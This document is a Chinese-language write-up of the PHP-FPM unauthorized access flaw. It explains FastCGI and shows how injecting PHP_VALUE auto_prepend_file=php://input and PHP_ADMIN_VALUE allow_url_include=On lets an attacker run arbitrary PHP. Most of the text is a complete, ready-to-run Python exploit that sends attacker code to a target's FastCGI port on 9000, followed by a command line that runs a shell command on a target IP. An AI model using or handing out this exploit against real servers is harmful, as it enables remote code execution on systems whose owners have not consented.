漏洞原理

Fastcgi

Fastcgi是一個通訊協議，和HTTP協議一樣，都是進行資料交換的一個通道。HTTP協議是瀏覽器和伺服器中介軟體進行資料交換的協議，瀏覽器將HTTP頭和HTTP體用某個規則組裝成資料包，以TCP的方式傳送到伺服器中介軟體，伺服器中介軟體按照規則將資料包解碼，並按要求拿到使用者需要的資料，再以HTTP協議的規則打包返回給伺服器。類比HTTP協議來說，fastcgi協議則是伺服器中介軟體和某個語言後端進行資料交換的協議。

PHP-FPM

PHP-FPM是一個fastcgi協議解析器，Nginx等伺服器中介軟體將使用者請求按照fastcgi的規則打包好傳給FPM。FPM按照fastcgi的協議將TCP流解析成真正的資料。PHP-FPM預設監聽9000埠，如果這個埠暴露在公網，則我們可以自己構造fastcgi協議，和fpm進行通訊。
使用者訪問http://127.0.0.1/index.php?a=1&b=2，如果web目錄是/var/www/html，那麼Nginx會將這個請求變成如下key-value對：

{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}

這個陣列其實就是PHP中$_SERVER陣列的一部分，也就是PHP裡的環境變數。但環境變數的作用不僅是填充$_SERVER陣列，也是告訴fpm：“我要執行哪個PHP檔案”。
PHP-FPM拿到fastcgi的資料包後，進行解析，得到上述這些環境變數。然後，執行SCRIPT_FILENAME的值指向的PHP檔案，也就是/var/www/html/index.php

security.limit_extensions配置

此時，SCRIPT_FILENAME的值就格外重要了。因為fpm是根據這個值來執行php檔案的，如果這個檔案不存在，fpm會直接返回404。在fpm某個版本之前，我們可以將SCRIPT_FILENAME的值指定為任意字尾檔案，比如/etc/passwd。但後來，fpm的預設配置中增加了一個選項security.limit_extensions。其限定了只有某些字尾的檔案允許被fpm執行，預設是.php。所以，當我們再傳入/etc/passwd的時候，將會返回Access denied。由於這個配置項的限制，如果想利用PHP-FPM的未授權訪問漏洞，首先就得找到一個已存在的PHP檔案。我們可以找找預設源安裝後可能存在的php檔案，比如/usr/local/lib/php/PEAR.php

任意程式碼執行

那麼，為什麼我們控制fastcgi協議通訊的內容，就能執行任意PHP程式碼呢？
理論上當然是不可以的，即使我們能控制SCRIPT_FILENAME，讓fpm執行任意檔案，也只是執行目標伺服器上的檔案，並不能執行我們需要其執行的檔案。
但PHP是一門強大的語言，PHP.INI中有兩個有趣的配置項，auto_prepend_file和auto_append_file。
auto_prepend_file是告訴PHP，在執行目標檔案之前，先包含auto_prepend_file中指定的檔案；auto_append_file是告訴PHP，在執行完成目標檔案後，包含auto_append_file指向的檔案。
那麼就有趣了，假設我們設定auto_prepend_file為php://input，那麼就等於在執行任何php檔案前都要包含一遍POST的內容。所以，我們只需要把待執行的程式碼放在Body中，他們就能被執行了。（當然，還需要開啟遠端檔案包含選項allow_url_include）
那麼，我們怎麼設定auto_prepend_file的值？
這又涉及到PHP-FPM的兩個環境變數，PHP_VALUE和PHP_ADMIN_VALUE。這兩個環境變數就是用來設定PHP配置項的，PHP_VALUE可以設定模式為PHP_INI_USER和PHP_INI_ALL的選項，PHP_ADMIN_VALUE可以設定所有選項。（disable_functions除外，這個選項是PHP載入的時候就確定了，在範圍內的函式直接不會被載入到PHP上下文中）
所以，我們最後傳入如下環境變數

{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

復現

EXP程式碼

import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))

python fpm.py 192.168.122.1 /usr/local/lib/php/PEAR.php -c "<?php echo `pwd`; ?>"

參考：

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html